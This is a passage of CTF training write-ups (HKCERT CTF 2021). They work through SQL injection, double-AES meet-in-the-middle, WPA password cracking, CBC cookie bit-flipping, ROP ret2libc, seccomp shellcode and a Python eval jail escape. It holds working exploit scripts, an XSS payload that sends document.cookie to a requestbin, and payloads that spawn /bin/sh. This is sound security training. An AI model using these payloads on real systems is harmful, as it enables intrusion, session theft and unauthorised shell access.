--- image: https://i.imgur.com/CHfbLNF.jpg GA: UA-211696268-1 disqus: hkcertctf2021training --- HKCERT CTF 2021 Training Writeup === [TOC] Challenges --- ### LockPickDuck v3 (I) Writeup Author: @hoifanrd#4246 Category: web #### Source :::spoiler ```php= <?php class SQZero3 extends SQLite3 { private $user; private $pass; function __construct($user, $pass) { $this->open(":memory:"); $this->exec("CREATE TABLE users (user text, pass text, hash text)"); $this->user = $user; $this->pass = $pass; } function checkHash(){ return @($this->querySingle("SELECT hash FROM users WHERE user='{$this->user}' AND pass='{$this->pass}'") == md5($this->pass)); } function checkUser(){ return @($this->querySingle("SELECT user FROM users WHERE user='{$this->user}' AND pass='{$this->pass}'") == $this->user); } function checkPass(){ return @($this->querySingle("SELECT pass FROM users WHERE user='{$this->user}'") == $this->pass); } function checkMate(){ return @($this->querySingle("SELECT hash FROM users WHERE user='{$this->user}' AND pass='{$this->pass}'") === md5($this->pass)) && @($this->querySingle("SELECT user FROM users WHERE user='{$this->user}' AND pass='{$this->pass}'") === $this->user) && @($this->querySingle("SELECT pass FROM users WHERE user='{$this->user}'") === $this->pass); } } if (isset($_GET["user"]) && isset($_GET["pass"])) { require("flag.php"); $sq = new SQZero3($_GET["user"], $_GET["pass"]); if ($sq->checkHash()) { echo "<p>Flag 1: $flag1</p>"; if ($sq->checkUser()) { echo "<p>Flag 2: $flag2</p>"; if ($sq->checkPass()) { echo "<p>Flag 3: $flag3</p>"; } } } else { echo "No Flag"; } if ($sq->checkMate()) { echo "<p>Flag 4: $flag4</p>"; } } else { highlight_file(__FILE__); } ?> ``` ::: #### Analyze As we can see, the website use _GET_ to get the field _user_ and _pass_. If the both fieids are set, it will first create a **BLANK** SQLite table. Then it will do a single query from that black table, to see if the query return value equals a specfic value. A worth note point is that the table is a blank table. How could it return value other than NULL? So we know that this is a SQL Injection challenge (Reference: [CTF Wiki](https://ctf-wiki.github.io/ctf-wiki/web/sqli/)). We could also see that we have to satisfiy the situation of Flag 1 and 2 in order to get Flag 3. In other words, we get Flag 1 and 2 if we can get Flag 3. Let's see at what situation we can get Flag 3! ```sql SELECT hash FROM users WHERE user='{$user}' AND pass='{$pass}' == md5($pass) AND SELECT user FROM users WHERE user='{$user}' AND pass='{$pass}' == $user AND SELECT pass FROM users WHERE user='{$user}' == $pass ``` If we could satisfy this statement, then we could get Flag 1, 2 and 3! #### `==` $\neq$ `===` If you play Web Challenge much, this is actually a easy task. You could notice that the statement is using the `==` operator but not the `===` operator! By [PHP manual](http://php.net/manual/en/language.operators.comparison.php#language.operators.comparison), `$a === $b` will return TRUE if *\$a* is equal to *\$b*, and they are of the same type (identical). While`$a == $b` will return TRUE if *\$a* is equal to *\$b* **after type juggling**. It means that the type of the operand will change if they are not the same type. Therefore, when a `string` is compared with a `int` value by the `==` operator, the `string` will be **converted** to `int`! Following the [conversion rule](https://www.php.net/manual/en/language.types.string.php#language.types.string.conversion), if the `string` is not started with a numeric value, it will be converted to **0**. In this task, `md5($pass)`, `$user` and `$pass` are all `string`. Therefore, if they are compared with a numeric value, all of them will be converted to **0**! So just do the injection to make the SQL query return 0 and we will get all 3 flags! Easy points, huh? The final payload will be: *\$user*: `' UNION SELECT 0 -- ` while *\$pass* can be anything (just don't make it and it's md5 start with numeric value). </br> And this will make the final query be: ```sql SELECT something FROM users WHERE user='' UNION SELECT 0 -- ' AND pass='abc' ``` Payload URL: `http://chal.training.hkcert21.pwnable.hk:6001?user=' UNION SELECT 0 -- &pass=anything` ### Tenet Writeup Author: @MW#8078 Category: crypto #### Resources > Future people bring us time inversion and quantum computers. Try to decrypt the ciphertext to get the flag. > Ciphertext: 6255c24aa3dd8f58c5fcb41feb90f90e73e870db651d5a963498f062c2c1572430098acf05 > enc.py file #### Write-up From the python code, we could observe that a string(the flag) is encrypted using double AES(mode=ctr) and being printed which should be the ciphertext provided in the question I first look up how does AES(CTR mode) works, it seems that we need key + counter(initial value) to decrypt the ciphertext ![Ctr_encryption](https://user-images.githubusercontent.com/49106442/139240651-8fb14006-aee4-4b34-982b-7b99bb557992.png) Luckly we were given the counter plus we can see that the key is a hex constructed with 13 leading 0s and a 3 random byte (each byte have 2 hex digit which have 16^2=256 combinations) i.e. much better than 128bit ```python #counter given self.aes128_0 = AES.new(key=key0, mode=AES.MODE_CTR, counter=Counter.new(128, initial_value=1)) self.aes128_1 = AES.new(key=key1, mode=AES.MODE_CTR, counter=Counter.new(128, initial_value=129)) #key 16 byte and must have 13 leading 0s key1 = b'\0' * 13 + os.urandom(3) key2 = b'\0' * 13 + os.urandom(3) ``` To brute force one key it only takes maximum 16^6 times which should be possible But the flag is double encrypted. My first attempt is to construct all posibility of another key(16^6) for each of (16^6)key1 the total combination is 16^12 which should take quite some time. But this seems to take too long to compute... Then I came accross this term meet-in-the-middle attack about realted to AES n DES and remind me of the hint of this question https://en.wikipedia.org/wiki/Meet-in-the-middle_attack With meet in the middle attack, we can reduce the time complexity of bruteforcing the key from O(n^2) (let n be 16*16*16) to O(nlgn)(sort) or O(n)(hashing) which significantly reduce the computation needed ```python #create a lookup dictionary to store all encrypted prefix with corresponding key for i in range(0, combination): key = keyPrefix + i.to_bytes(3, 'big') aes128 = AES.new(key=key, mode=AES.MODE_CTR, counter=Counter.new(128, initial_value=1)) encryptedPrefix = aes128.decrypt(flagPrefix).hex() lookup[encryptedPrefix] = i ``` But for a meet-in-the-middle attack, we need both the plain text and ciphertext to find the key. We dont know the exact plain text, but we knew that the plaintext should have a prefix of 'hkcert20{' which allow us to use MiM attack. We could use this as our plaintext and encrypt it for every possible key(16*16*16) to contruct a lookup table Then use another seperated loop to bruteforce key2(16*16*16) and decrypt the ciphertext with it, for each decrypted text check if there is a ecrypted prefix have the same first x byte. We could find both key by that ```python #bruteforce the second key for i in range(0, combination): key = keyPrefix + i.to_bytes(3, 'big') aes128 = AES.new(key=key, mode=AES.MODE_CTR, counter=Counter.new(128, initial_value=129)) decryptedCipher = aes128.decrypt(ciphertext).hex()[:18] index = lookup.get(decryptedCipher, -1) if index != -1: print('key found') key0 = keyPrefix + index.to_bytes(3, 'big') key1 = key break ``` Just decrypt the ciphertext with both keys and we will get the flag: ```python aes128_0 = AES.new(key=key0, mode=AES.MODE_CTR, counter=Counter.new(128, initial_value=1)) aes128_1 = AES.new(key=key1, mode=AES.MODE_CTR, counter=Counter.new(128, initial_value=129)) print(aes128_0.decrypt(aes128_1.decrypt(ciphertext)).decode('UTF-8')) ``` #### Full Code :::spoiler ```python from Crypto.Cipher import AES from Crypto.Util import Counter import binascii #ciphertext is .hex()ed need undo it ciphertext = '6255c24aa3dd8f58c5fcb41feb90f90e73e870db651d5a963498f062c2c1572430098acf05' ciphertext = binascii.unhexlify(ciphertext) combination = 16**6 keyPrefix = b'\0' * 13 flagPrefix = b'hkcert20{' lookup = {} key0 = 'not found' key1 = 'not found' #create a lookup dictionary to store all encrypted prefix with corresponding key for i in range(0, combination): key = keyPrefix + i.to_bytes(3, 'big') aes128 = AES.new(key=key, mode=AES.MODE_CTR, counter=Counter.new(128, initial_value=1)) encryptedPrefix = aes128.encrypt(flagPrefix).hex() lookup[encryptedPrefix] = i print("dictionary built") #bruteforce the second key for i in range(0, combination): key = keyPrefix + i.to_bytes(3, 'big') aes128 = AES.new(key=key, mode=AES.MODE_CTR, counter=Counter.new(128, initial_value=129)) decryptedCipher = aes128.decrypt(ciphertext).hex()[:18] index = lookup.get(decryptedCipher, -1) if index != -1: print('key found') key0 = keyPrefix + index.to_bytes(3, 'big') key1 = key break print(key0) print(key1) aes128_0 = AES.new(key=key0, mode=AES.MODE_CTR, counter=Counter.new(128, initial_value=1)) aes128_1 = AES.new(key=key1, mode=AES.MODE_CTR, counter=Counter.new(128, initial_value=129)) print(aes128_0.decrypt(aes128_1.decrypt(ciphertext)).decode('UTF-8')) ``` ::: #### Flag ``` key0 = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00+!0' key1 = b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00&\x84\xd2' hkcert20{7h3_b361nn1n6_15_7h3_3nd1n6} ``` #### Helmet My code definitely could be optimised but its just a ctf, just make sure the time complexity for the bruteforce is reasonable and let it run for some time ### Crack Wifi Password Writeup Author: @RedTea#0001 Category: iot, wi-fi #### Description > A hacker captured the handshake packets of targeted Wi-Fi network. He wanted to hack the Wi-Fi router. The attached file is the captured packets. > First, the hacker needs to get the Wi-Fi password. What is the password? > 一個黑客抓取到目標Wi-Fi網絡的訊息交換封包。他想入侵這個Wi-Fi路由器。附件是抓取到的封包。 > 首先,該黑客需要得到該Wi-Fi的密碼。請問密碼是什麽? > Flag Format: 旗幟格式: hkcert20{} #### Hints > Hint (Deduct half of the score of this challege): The regular expression of the Wi-Fi password is CTF[0-9]{8}. 該Wi-Fi密碼的正規表達式是CTF[0-9]{8}。 > This challenge is from Hong Kong Cyber Security New Generation Capture the Flag Challenge 2020 #### Writeup first, convert the `WiFi_Packet_1.cap` to the 'hc22000' with [this site](https://hashcat.net/cap2hashcat/) then run this command `.\hashcat.exe -m 22000 -a 3 ./32335_1635344280.hc22000 CTF?d?d?d?d?d?d?d?d` ![](https://i.imgur.com/dyWDLym.png) now, we got `CTF81056060`, flag! #### Flag `hkcert20{CTF81056060}` ### Infant XSS Writeup Author: ?? Category: web, 手把手教你玩 :::warning Do you really need writeup for this challenge? :cold_sweat: ::: #### Writeup See the challenge description. TL;DR? Send `https://infantxss.training.hkcert21.pwnable.hk/#%3Cscript%3Elocation.href='https://your-requestbin/?'+document.cookie%3C/script%3E` to XSS Bot. #### Flag `hkcert21{Infant_XSS_flag_932fad2fd2a9118b}` ### Simple Sign On (Author Writeup) Writeup Author: @Mystiz ✔✔#1337 Category: crypto #### Writeup By reading the source code (snippeted below), we see that there are two accounts: ```python users = { 'admin': { 'is_admin': True, 'password': os.urandom(16).hex() # It is so secure that you cannot break it }, 'guest': { 'is_admin': False, 'password': 'guest' } } ``` The credentials are respectively, ``` admin : [randomly generated] guest : guest ``` When we sign in with the guest account, we are able to get the below message: ``` Hello guest! ``` There is also a token set inside the cookie. ``` 6yZEBJLe19mmlWrkmWu3V5wro7uPwc6SYz7IFjCSPJ2KcjdUcP2bnbyoW1ngdObS ``` From the source code, we can see that it is the ciphertext of ``` is_admin=0&username=guest ``` encrypted with AES-CBC and encoded with base64. ![](https://i.imgur.com/RoVi931.png) We can split the token into three blocks: $IV$, $C_1$ and $C_2$. Mathematically, :::info $Enc(IV⊕ M_1) = C_1$ $Enc(C_1⊕ M_2) = C_2$ ::: We know all of $IV$, $C_1$, $C_2$ (from the token) and $M_1$, $M_2$ (the plaintext). In particular, wewould like to switch $M_1$ from `is_admin=0&usern` to `is_admin=1&usern` . To achieve this, we can flip the 10th character of $IV$ by 1. After all the forged token will be: ``` 6yZEBJLe19mmlGrkmWu3V5wro7uPwc6SYz7IFjCSPJ2KcjdUcP2bnbyoW1ngdObS ``` Replacing the token by typing the below code snippet to the developer’s console: ```javascript document.cookie="token=6yZEBJLe19mmlGrkmWu3V5wro7uPwc6SYz7IFjCSPJ2KcjdUcP2bnbyoW1ngdObS" ``` #### Flag ``` Hello guest! Since you are an admin, please grab the flag and keep it safe! hkcert21{now_you_mastered_half_of_the_padding_oracle_attack}. ``` ### ROP Writeup Author: @bottom#9751 Category: pwn Original Post: <https://hackmd.io/@1ptrKd-hTF-40MNeKRIoSw/SyoKb1v8t#rop> #### 1. Analysis Use ```checksec``` to check the protection ![](https://i.imgur.com/pV4mvuD.png) Here we can see only he Non executable stack protection (NX) is enabled which means we can not directly execute the shellcode in stack #### 2. Disassembly the binary file Use software to disassembly the binary file such as ida / Ghidra. My option is Ghidra. After the analyis the binary in Ghidra, we find the main function from entry point and decomplie the main function ![](https://i.imgur.com/6m3S4p1.png) ![](https://i.imgur.com/MKkwQoy.png) If you are a pwn player, you would instantly find that there has a very vulnerable function ```gets``` used in the program ```gets``` is vulnerable because the user can input any length of data. It may cause a vulnerability called Buffer overflow. If we can overflow the data to control the program return addres, we can control execution flow of this program. Remember the protection we have checked before. This program has not opened PIE. Therefore, we can directly find the function address in the program. #### 3. Find the offset to overflow Let's debug it using GDB First we can randomly fill some data in the program. Here I fill 'A' * 100 into the program. ![](https://i.imgur.com/FCg78Wk.png) The program will have the SIGSEGV and stopped We can see that in rsp we still have a lot of "A" which means we successfully can use the buffer overflow to overwrite the return address. After a few testing, we can find that the offset before the return address is 56. #### 4. Leak libc address If we use ```ldd``` to check, it shows this binary is linked to the libc ![](https://i.imgur.com/TocWXUJ.png) Which means if we can leak address of the linked libc, we can execute the function within the libc through overwrite the return address. We can build a rop chain to leak the libc address First, we can use ```ROPgadget``` to find our needed gadget ![](https://i.imgur.com/4HIivBA.png) Here we use pwntools to do our exploit: ```python= offset = 56 payload = b'A' * offset payload += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main) p.sendlineafter("input", payload) ``` This rop chain will let program output the puts address in libc and return to main function again. ![](https://i.imgur.com/SD0FBec.png) We get the byte ```\x10 \x8\x7f``` which is the puts function address in libc Then we can add some code with pwntools to convert it to be the readable number and calculate to libc base address. ```python= p.recvline() libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.symbols['puts'] info(f"libc_base: {hex(libc_base)}") ``` #### 5. ret2libc After we return to the main function again and get the libc base address. We can control the program call system("/bin/sh") to get the shell ```python= system = libc_base + libc.symbols['system'] binsh = libc_base + next(libc.search(b'/bin/sh\x00')) payload = b'A' * offset payload += p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) p.sendlineafter("input", payload) ``` #### 6. Get flag ![](https://i.imgur.com/VPgqfwM.png) #### 7. Full exploit :::spoiler ```python= from pwn import * TARGET = './rop' HOST = 'chal.training.hkcert21.pwnable.hk' PORT = 6006 elf = ELF(TARGET) # p = process(TARGET) p = remote(HOST, PORT) libc = ELF('./libc-2.31.so') #--- main = 0x004005b7 pop_rdi = 0x0000000000400673 ret = 0x000000000040048e offset = 56 payload = b'A' * offset payload += p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(main) p.sendlineafter("input", payload) p.recvline() libc_base = u64(p.recv(6).ljust(8, b'\x00')) - libc.symbols['puts'] info(f"libc_base: {hex(libc_base)}") system = libc_base + libc.symbols['system'] binsh = libc_base + next(libc.search(b'/bin/sh\x00')) payload = b'A' * offset payload += p64(pop_rdi) + p64(binsh) + p64(ret) + p64(system) p.sendlineafter("input", payload) p.interactive() ``` ::: ### Angr Men Writeup Author: @MW#8078 Category: pwn #### Resources > Find the input that make the program exit with exit code 0. > Hint: Google "angr" > angr_man (binary file) #### Write-up we knew we need to google angr but first, lets take a look of our binary file ![](https://i.imgur.com/gaMJzim.png) invalid size huh? Lets use ghidra to disassemble it ![](https://i.imgur.com/DMLMjaD.png) found this function which prints what we see in the program we can see that theres a if statement depending on the value of cVar1 we probably want to get the segment where it prints out 'It is the music of.....' the program was too complicated to be understanded for me, but this question itself tell us that we can solve it with angr so i started to google what angr is, and what it can do to solve this challenge Angr will do symbolic execution to find out what input could lead to the specific segment of code to execute, according to google what we need to do is just to provide it the input size, type, and base address ![](https://i.imgur.com/L1Pyi5Y.png) this is what i found about the input size, it should be 0x21 = 33 in length ![](https://i.imgur.com/wH0wPsE.png) And we could see that our input is probably being verified and should be printable ascii code We also need to find out the address that we want to reach('It is the...') and the address we want to advoid('bye') And just use angr to write a python script, no, actually i literally find a sample script that we can use on their documentation LOL We just need to specify all possible input and what output we want to find #### template that i found I literally just copy from their sample and changed only at those statements that i bolded siu444 <https://github.com/angr/angr-doc/blob/master/examples/b01lersctf2020_little_engine/solve.py> It tooks about 37seconds to run and get this easy flag :::spoiler ```python #!/usr/bin/env python #coding: utf-8 import angr import claripy import time #compiled on ubuntu 18.04 system: #https://github.com/b01lers/b01lers-ctf-2020/tree/master/rev/100_little_engine def main(): #setup of addresses used in program #addresses assume base address of base_addr = 0x100000 #length of desired input is 75 as found from reversing the binary in ghidra #need to add 4 times this size, since the actual array is 4 times the size #1 extra byte for first input input_len = **32** #seting up the angr project p = angr.Project('**./angr_man**', main_opts={'base_addr': base_addr}) #looking at the code/binary, we can tell the input string is expected to fill 22 bytes, # thus the 8 byte symbolic size. Hopefully we can find the constraints the binary # expects during symbolic execution flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(input_len)] #extra \n for first input, then find the flag! flag = claripy.Concat( *flag_chars + [claripy.BVV(b'\n')]) # enable unicorn engine for fast efficient solving st = p.factory.full_init_state( args=['**./angr_man**'], add_options=angr.options.unicorn, stdin=flag ) #constrain to non-newline bytes #constrain to ascii-only characters for k in flag_chars: st.solver.add(k < 0x7f) st.solver.add(k > 0x20) # Construct a SimulationManager to perform symbolic execution. # Step until there is nothing left to be stepped. sm = p.factory.simulation_manager(st) sm.run() #grab all finished states, that have the win function output in stdout y = [] for x in sm.deadended: if b"**It is the **" in x.posix.dumps(1): y.append(x) #grab the first output **print(y[0].posix.dumps(0))** if __name__ == "__main__": before = time.time() **main()** after = time.time() print("Time elapsed: {}".format(after - before)) ``` ::: #### Another script I actually dont know this template exisited when i attempt this question and wrote the following scripts that uses the address of the two print statement and let angr find which input could reach that address :::spoiler ```python import angr import claripy import time before = time.time() flag_length = 32 base_address = 0x00100000 success_addr = 0x0010169b failure_addr = 0x001016ca project = angr.Project("./angr_man", main_opts = {"base_addr" : base_address}) #create vector flag_chars = [claripy.BVS(f"flag_char{i}", 8) for i in range(flag_length)] flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')]) state = project.factory.full_init_state( args=["./angr_man"], add_options = angr.options.unicorn, stdin=flag ) simgr = project.factory.simulation_manager(state) simgr.explore(find=success_addr, avoid=failure_addr) if len(simgr.found) > 0: for found in simgr.found: print(found.posix.dumps(0)) after = time.time() print("Time elapsed: {}".format(after - before)) ``` ::: ### Angr Men (Author Writeup) Writeup Author: @kc#2232 Category: reverse #### Description Find the input that make the program exit with exit code 0. Tips (no mark deduction): Google "angr" 查找其輸入以令程序以退出代碼 0 退出。 #### Writeup 這題的目的是要找出可以令程式用[退出代碼](https://en.wikipedia.org/wiki/Exit_status) (exit code) 0退出。而題目提到 angr,只要略加 Google,就會找到一個叫 [angr](https://angr.io) 的開源項目。很明顯,這題預期是要用到 angr 來解。 解壓縮題目附件的 `.tgz` 檔案會得到一個 `angr_man` 的 Linux 執行檔。 首先試試執行這個程式。在 Mac 或者 Windows 下以利用 [Docker](https://www.docker.com) 很簡單地建立 Linux 虛擬執行環境。如果你是用 Linux 但不想影響你的OS,同樣也可以使用 Docker 來建立虛擬環境。 先安裝好 Docker,然後在 shell 執行: ``` docker run --rm -it -v`pwd`:/src ubuntu:18.04 bash ``` 這樣你就得到一個 Ubuntu 18.04 的虛擬環境,並且可以在這裡執行這個題目的程式。 ``` $ docker run --rm -it -v`pwd`:/src ubuntu:18.04 bash root@c9a1c7ad6d9a:/# cd /src root@c9a1c7ad6d9a:/src# ./angr_man Do you hear the people sing? Singing the song of angry men? ``` 觀察所知,這個程序 print 了兩句以法國大██為背景的著名音樂劇《悲慘世界》的歌曲 "Do You Hear The People Sing?" 的歌詞,然後等待用戶輸入。 先隨使輸入 `testtest` 再按 Enter 試試: ``` root@c9a1c7ad6d9a:/src# ./angr_man Do you hear the people sing? Singing the song of angry men? testtest invalid size bye root@c9a1c7ad6d9a:/src# echo $? 255 ``` 退出代碼(`$?`)為 255,而題目要我們找到退出代碼為 0 的 input。 我們開始用 disassembler 拆解程式。我的電腦剛好有安裝,所以這裡我用了 [Hopper Disassember](https://www.hopperapp.com),用 IDA Pro 也可以。 先找到 print `invalid size` 的地方。 ![](https://i.imgur.com/ysHuIKZ.jpg) 集中看這裡: ![](https://i.imgur.com/wdXvDXU.png) 猜這裡是檢查 input 的長度,`0x20` 即是 32,如果輸入長度不是 32 bytes 即返回 `invalid size`。我們試試看: ``` root@c9a1c7ad6d9a:/src# ./angr_man Do you hear the people sing? Singing the song of angry men? 12345678901234567890123456789012 bye ``` 這次就沒有了 `invalid size`,所以我們得知這個程式是要輸入 32 bytes。 往下一點看會看到另一段會 print `invalid char` 的程序。 ![](https://i.imgur.com/yAMhNm6.jpg) 它在檢查 input 的字元是不是在 0x21 至 0x7e 的範圍內,即是可列印的 ASCII 編碼範圍。 我們再試一下輸入一個空格: ``` root@c9a1c7ad6d9a:/src# ./angr_man Do you hear the people sing? Singing the song of angry men? 1234567890123456789012345678901 invalid char bye ``` 不出所料,程式返回 `invalid char`。 再往下看,我們知道程式會對 input 做一些計算,但算法不簡單,用靜態分了解十分費時。但我們還是可以看到,當輸入了正確的答案時,程式會 print 另外兩句歌詞: ``` It is the music of the people Who will not be slaves again! ``` 好的,現在我們已經知道這個程式要求輸入 32 個可列印的 ASCII 編碼字元,加上一個 `0x0A` newline 字元,並且最後要得到以上的 output。 #### Angr 開首提過,這條題目要用到 Angr。我們看看官網怎樣介紹: > angr is a python framework for analyzing binaries. It combines both static and dynamic symbolic ("concolic") analysis, making it applicable to a variety of tasks. Angr 是一個做 symbolic execution 的工具: > 符號執行(英語:symbolic execution)是一種計算機科學領域的程序分析技術,通過採用抽象的符號代替精確值作為程序輸入變量,得出每個路徑抽象的輸出結果。這一技術在硬件、底層程序測試中有一定的應用,能夠有效的發現程序中的漏洞。 網上已經有很多 angr 的詳細教學,例如[這個](https://blog.notso.pro/2019-03-20-angr-introduction-part0/)和[那個](https://cexplr.com/writeups/angr/3_angr_post_1.html),這裡就不再重複了,我們直接來看這題的解法。 在 Docker 環境可以這樣安裝 angr。 ``` $ apt update $ apt install python3-dev libffi-dev build-essential python3-pip $ pip3 install angr ``` 我們會用 angr 來窮舉出這個程式的所有可行執行路徑。注意這個並非窮舉所有可能的 input,而且要窮舉 32 個字元明顯是不可行的。angr 是用 symbolic execution 的方式,直接去找能夠導致不同結果的 input,然後在這些執行路徑中,找出那個是我們想要的最後結果就可以了。 #### Exploit :::spoiler ```python= #!/usr/bin/env python3 import angr import claripy import time # Solve in about 1 min def main(): p = angr.Project('./angr_man') flag_chars = [claripy.BVS('flag_%d' % i, 8) for i in range(32)] flag = claripy.Concat(*flag_chars + [claripy.BVV(b'\n')]) st = p.factory.full_init_state( args=['./angr_man'], add_options=angr.options.unicorn, stdin=flag ) for c in flag_chars: st.solver.add(c < 127) st.solver.add(c > 32) sm = p.factory.simulation_manager(st) sm.run() result = None for s in sm.deadended: input = s.posix.dumps(0) output = s.posix.dumps(1) if b"It is the music of the people" in output: input = s.posix.dumps(0) result = input.rstrip() return result def test(): assert main() == b'hkcert20{157h3234w021dy0u10n92c}' if __name__ == "__main__": before = time.time() print(main()) after = time.time() print("Time elapsed: {}".format(after - before)) ``` ::: 執行這個程式,大約一分鐘之後就會得出結果: ``` b'hkcert20{157h3234w021dy0u10n92c}' Time elapsed: 49.61228585243225 ``` 因為這個 CTF 的 flag format 都是 `hkcert20{...}`,這個 input 很可能就是這題的 flag。我們即管輸入這個試一試: ```console root@c9a1c7ad6d9a:/src# ./angr_man Do you hear the people sing? Singing the song of angry men? hkcert20{157h3234w021dy0u10n92c} It is the music of the people Who will not be slaves again! root@c9a1c7ad6d9a:/src# echo $? 0 ``` #### Flag ``` hkcert20{157h3234w021dy0u10n92c} ``` ### Jail of Seccomp Writeup Author: @bottom#9751 Category: pwn Original Post: <https://hackmd.io/@1ptrKd-hTF-40MNeKRIoSw/SyoKb1v8t#fail-of-seccomp> #### 1. Analysis The challenge provide the c soruce code file to us, so we no need to use the decomplier. After reading the source code. We can find that the program has protected by seccomp. Seccomp allowed the programe to call the predetermined syscall which we can find in ```set_seccomp``` function. ```c= void setup_seccomp() { scmp_filter_ctx ctx; ctx = seccomp_init(SCMP_ACT_KILL); int ret = 0; ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 1, SCMP_A0(SCMP_CMP_EQ, 1)); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(open), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(openat), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(close), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 1, SCMP_A0(SCMP_CMP_EQ, 0)); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(mmap), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(fstat), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(brk), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit), 0); ret |= seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0); ret |= seccomp_load(ctx); if (ret) { exit(1); } } ``` And other important thing is the program will read our input into a executable memory region and execute our input as shellcode. #### 2. Exploit I noticed that this program allow us to call ```open```, ```read``` and ```write``` We can build the shellcode be like: ```c= fd = open("./flag.txt", 0); read(fd, buf, 100); write(1, buf, 100); ``` We can get our flag now right? But the seccomp_rule only allow us to use 0 as the first arugment in read. However, we can close the fd 0 first and call open("./flag.txt", 0) The fd will become 0. We can use ```read(0, buf, 100);``` to read the content of the flag now! In the final exploit, I chose rsp to be the buffer space. #### 3. Full exploit :::spoiler ```python= from pwn import * TARGET = './chall' HOST = 'chal.training.hkcert21.pwnable.hk' PORT = 6008 context.arch = 'amd64' elf = ELF(TARGET) p = remote(HOST, PORT) shellcode = '' shellcode += shellcraft.close(0) shellcode += shellcraft.open('/flag.txt', 0) shellcode += shellcraft.read(0, 'rsp', 100) shellcode += shellcraft.write(1, 'rsp', 100) payload = asm(shellcode) p.sendlineafter("Give me your shellcode (max: 4096):", payload) p.interactive() ``` ::: ### Python Calculator (Author Writeup) Writeup Author: @khlung#1057 Category: pwn #### Description > Give me the expression and I will return the answer. > >`nc chal.training.hkcert21.pwnable.hk 6009` #### 1. Look at the files After unzipping the `pyjail0_77608c05d70608758b3e5299101b6625.zip` file, there are some files: - `chall.xinetd`: it is a server program to handle connections from `nc`, not really a part of the challenge - `Dockerfile`: shows and help to rebuild the linux enviornment that running the challenge, not really a part of the challenge - `src/chll.py`: this is the main part of the challenge - `src/flag.txt`: a fake flag, real flag should be on the server side It seems that the only file that have to investiage is `src/chall.py`, others are more like the config files, which are irrelevant to the challenge in most of the cases unless you want to simulate the enviroment, e.g. python version. Ok, let's get dig deep into `chall.py`. ``` python= print("input: ", end="") expression = input() if 'import' in expression: print('You\'re hacking!!') exit(-1) print("answer:", end="") print(eval(expression)) ``` The code is short and the logic is straight forward: 1. get user input 2. *eval* the input 3. print out the result Besides, the input cannot include the word **import** or the program will exit. #### 2. A way to start From `Dockerfile`, we know `flag.txt` is located in the same folder, but if we only follow the logic of `chall.py`, there are no way to print the content of `flag.txt`, thus we need some more other than the challenge logic. If you don't have any idea on how to deal with the challenge, the common practice is to google the challenge name or the keywords from challenge description. ~~However, the challenge name and challenge description is not helpful =_=~~ If you google somethings like `python ctf`, you could find a lot of helpful resources about this challenge. #### 3. Eval() in python Eval is a powerful built-in function in python, and eval user input is dangerous. You can do a lot with eval: e.g. call other built-in function ![](https://i.imgur.com/bSvCf9T.png) Calling `Open('flag.txt')` works! We have the file, next step is to read. ![](https://i.imgur.com/uLR2mj9.png) Calling `Open('flag.txt').read()` will return the content of flag.txt :smile:. #### 4. Another solution Assume we don't know where is `flag.txt`, or we don't know the name of the flag file, we can't use `open`. This challenge is a conventional python challenge called *python jail escape*, and the goal of this challenge type is to get the shell (/bin/sh). One way to get the shell is by running `os.system('/bin/sh')` from `os` python module, but how can we get `os`? By `import`. ``` python import os os.system('/bin/sh') ``` The code above can give us the shell, but - we only have one line to input - we can't use `import` directly inside `eval` - we cannot have the word `import` in the input. Well... there are some workarounds: - use `__import__` instead of `import` in `eval` - `__import__('os').system('/bin/sh')` - use `eval` inside `eval`: `eval("__impor"+"t__")` so that we can bypass the filter Finally we have `eval("__impor"+"t__('os').system('/bin/sh')")` ![](https://i.imgur.com/bOIhr2m.png) Then we can cat the flag even we don't know the flag filename :+1: . ### Mr. Robot Rootkit (Author Writeup) Writeup Author: @darkfloyd#6578 Category: reverse #### Tools x64DBG (but this binary you can use x32DBG), IDA #### Techniques Static and dynamic analysis, assembly instruction, patch the binary and update EFLAG value. #### Challenge Background When you open and execute the binary, it pops up a command box and requests your input: ![](https://i.imgur.com/MPNVAHC.png) If you input a wrong key, it will give you an error message with GoodBye: ![](https://i.imgur.com/B4J7k1L.png) It means we need to figure out the correct input sequence so as to get the flag. Let us open IDA to check out the structure and find out any decision branch. First of all, we can look for any readable strings and messages, that we can search from the binary, for example, in our challenge, there is “Welcome to New World!”. **If you have found that your address space does not start with 0x40 but another prefix, as the different systems can have different prefixes, you can just keep it as 0xNNMMMM in mind but the last four bytes (MMMM) offset is always aligned.** ![](https://i.imgur.com/F287j5a.png) You can locate the message at 0x4011A1 from the above-disassembled code, you can simply input “space bar” and change the view from Control Flow Graph (CFG) to Disassembled Text View or vice versa. Now we are looking for the decision branch into flag and error, we have found address 0x401299 can decide for us to whether we will get the flag or error message. Decision block at 0x401299: ![](https://i.imgur.com/3WpR2zu.png) Error message at 0x4014A5: ![](https://i.imgur.com/DwLkiRN.png) Now we have a clearer idea and we need to input a sequence of characters such that we can get the block with flag executed. At this point, we simply set up a breakpoint at the decision branch address and open the debugger and see how it goes, most likely, even the key is encrypted in the program, it will be decrypted when we run the program, hopefully, we can have a decrypted flag in the register. #### First Part Writeup In our write-up, we take [x32DBG](https://x64dbg.com/#start) but you can use OllyDBG or others upon your preference. 1. Open the 